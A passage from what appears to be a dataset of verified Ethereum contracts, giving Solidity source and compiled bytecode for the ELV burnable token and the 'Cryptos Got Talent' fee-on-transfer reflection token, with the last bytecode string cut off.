emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract ELV is BurnableToken {
string public constant name = "Elevated coin";
string public constant symbol = "ELV";
uint public constant decimals = 14;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 30000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600d81526020017f456c65766174656420636f696e0000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600e81565b600e600a0a6301c9c3800281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f454c56000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea26469706673582212207203ad9e807e23513bce9bc2c3d6e8c098ab697564ff9191431bc3d7ba3a9f6f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,429 |
0x2adca31eab8412688c61aa601decfc451bc79987
|
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract CryptosGotTalent is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cryptos Got Talent";
string private constant _symbol = "TAL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private cooldown;
address payable private _team1;
address payable private _market1;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 2;
uint256 private _teamFee = 8;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2){
_team1 = addr1;
_market1 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_team1] = true;
_isExcludedFromFee[_market1] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function enableTrading() public onlyOwner {
require(liquidityAdded);
tradeAllowed = true;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_maxTxAmount = 20000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(tradeAllowed);
require(cooldown[to] < block.timestamp);
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.div(20));
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_reflection = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled ) {
require(cooldown[from] < block.timestamp);
require(amount <= balanceOf(uniswapV2Pair).mul(5).div(100));
uint initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint newBalance = address(this).balance;
uint distributeETHBalance = newBalance.sub(initialBalance);
if (distributeETHBalance > 0) {
sendETHToFee(distributeETHBalance);
}
_reflection = 2;
_teamFee = 14;
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _teamFee == 0) return;
_reflection = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_reflection = 2;
_teamFee = 4;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(amount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_team1.transfer(amount.div(10).mul(3));
_market1.transfer(amount.div(10).mul(7));
}
receive() external payable {}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb14610389578063c3c8cd80146103c2578063d543dbeb146103d7578063dd62ed3e14610401578063e8078d941461043c5761011f565b8063715018a6146103205780637a32bae4146103355780638a8c523c1461034a5780638da5cb5b1461035f57806395d89b41146103745761011f565b8063313ce567116100e7578063313ce5671461026557806349bd5a5e146102905780636ddd1713146102c15780636fc3eaec146102d657806370a08231146102ed5761011f565b806306fdde0314610124578063095ea7b3146101ae57806318160ddd146101fb57806323b872dd146102225761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610451565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ba57600080fd5b506101e7600480360360408110156101d157600080fd5b506001600160a01b03813516906020013561047d565b604080519115158252519081900360200190f35b34801561020757600080fd5b5061021061049b565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101e76004803603606081101561024557600080fd5b506001600160a01b038135811691602081013590911690604001356104a1565b34801561027157600080fd5b5061027a610528565b6040805160ff9092168252519081900360200190f35b34801561029c57600080fd5b506102a561052d565b604080516001600160a01b039092168252519081900360200190f35b3480156102cd57600080fd5b506101e761053c565b3480156102e257600080fd5b506102eb61054c565b005b3480156102f957600080fd5b506102106004803603602081101561031057600080fd5b50356001600160a01b03166105b1565b34801561032c57600080fd5b506102eb6105d3565b34801561034157600080fd5b506101e7610675565b34801561035657600080fd5b506102eb610685565b34801561036b57600080fd5b506102a5610708565b34801561038057600080fd5b50610139610717565b34801561039557600080fd5b506101e7600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610734565b3480156103ce57600080fd5b506102eb610748565b3480156103e357600080fd5b506102eb600480360360208110156103fa57600080fd5b50356107b6565b34801561040d57600080fd5b506102106004803603604081101561042457600080fd5b506001600160a01b03813581169160200135166108bd565b34801561044857600080fd5b506102eb6108e8565b60408051808201909152601281527110dc9e5c1d1bdcc811dbdd0815185b195b9d60721b602082015290565b600061049161048a610c69565b8484610c6d565b5060015b92915050565b60045490565b60006104ae848484610d59565b61051e846104ba610c69565b61051985604051806060016040528060288152602001611912602891396001600160a01b038a166000908152600760205260408120906104f8610c69565b6001600160a01b03168152602081019190915260400160002054919061107b565b610c6d565b5060019392505050565b600990565b600d546001600160a01b031681565b600d54600160b81b900460ff1681565b610554610c69565b6000546001600160a01b039081169116146105a4576040805162461bcd60e51b8152602060048201819052602482015260008051602061193a833981519152604482015290519081900360640190fd5b476105ae81611112565b50565b6001600160a01b038116600090815260026020526040812054610495906111aa565b6105db610c69565b6000546001600160a01b0390811691161461062b576040805162461bcd60e51b8152602060048201819052602482015260008051602061193a833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d54600160a01b900460ff1681565b61068d610c69565b6000546001600160a01b039081169116146106dd576040805162461bcd60e51b8152602060048201819052602482015260008051602061193a833981519152604482015290519081900360640190fd5b600d54600160a81b900460ff166106f357600080fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031690565b60408051808201909152600381526215105360ea1b602082015290565b6000610491610741610c69565b8484610d59565b610750610c69565b6000546001600160a01b039081169116146107a0576040805162461bcd60e51b8152602060048201819052602482015260008051602061193a833981519152604482015290519081900360640190fd5b60006107ab306105b1565b90506105ae8161120a565b6107be610c69565b6000546001600160a01b0390811691161461080e576040805162461bcd60e51b8152602060048201819052602482015260008051602061193a833981519152604482015290519081900360640190fd5b60008111610863576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610883606461087d836004546113d990919063ffffffff16565b90611432565b600e81905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6108f0610c69565b6000546001600160a01b03908116911614610940576040805162461bcd60e51b8152602060048201819052602482015260008051602061193a833981519152604482015290519081900360640190fd5b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905560045490916109849130916001600160a01b031690610c6d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109bd57600080fd5b505afa1580156109d1573d6000803e3d6000fd5b505050506040513d60208110156109e757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610a3757600080fd5b505afa158015610a4b573d6000803e3d6000fd5b505050506040513d6020811015610a6157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610ab357600080fd5b505af1158015610ac7573d6000803e3d6000fd5b505050506040513d6020811015610add57600080fd5b5051600d80546001600160a01b0319166001600160a01b03928316179055600c541663f305d7194730610b0f816105b1565b600080610b1a610708565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610b8557600080fd5b505af1158015610b99573d6000803e3d6000fd5b50505050506040513d6060811015610bb057600080fd5b5050600d805460ff60a81b1960ff60b81b19909116600160b81b1716600160a81b17908190556801158e460913d00000600e55600c546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610c3a57600080fd5b505af1158015610c4e573d6000803e3d6000fd5b505050506040513d6020811015610c6457600080fd5b505050565b3390565b6001600160a01b038316610cb25760405162461bcd60e51b81526004018080602001828103825260248152602001806119a86024913960400191505060405180910390fd5b6001600160a01b038216610cf75760405162461bcd60e51b81526004018080602001828103825260228152602001806118cf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806119836025913960400191505060405180910390fd5b6001600160a01b038216610de35760405162461bcd60e51b81526004018080602001828103825260238152602001806118826023913960400191505060405180910390fd5b60008111610e225760405162461bcd60e51b815260040180806020018281038252602981526020018061195a6029913960400191505060405180910390fd5b6001600160a01b03821660009081526008602052604090205460ff16158015610e6457506001600160a01b03831660009081526008602052604090205460ff16155b1561101e57600d546001600160a01b038481169116148015610e945750600c546001600160a01b03838116911614155b15610f3d57600d54600160a01b900460ff16610eaf57600080fd5b6001600160a01b0382166000908152600960205260409020544211610ed357600080fd5b6000610ede836105b1565b600454909150610eef906014611432565b610ef98383611474565b1115610f0457600080fd5b600e54821115610f1357600080fd5b506001600160a01b0382166000908152600960205260409020601e4201905560066010556002600f555b6000610f48306105b1565b600d54909150600160b01b900460ff16158015610f735750600d546001600160a01b03858116911614155b8015610f885750600d54600160b81b900460ff165b1561101c576001600160a01b0384166000908152600960205260409020544211610fb157600080fd5b600d54610fda9060649061087d90600590610fd4906001600160a01b03166105b1565b906113d9565b821115610fe657600080fd5b47610ff08261120a565b476000610ffd82846114ce565b9050801561100e5761100e81611112565b50506002600f5550600e6010555b505b6001600160a01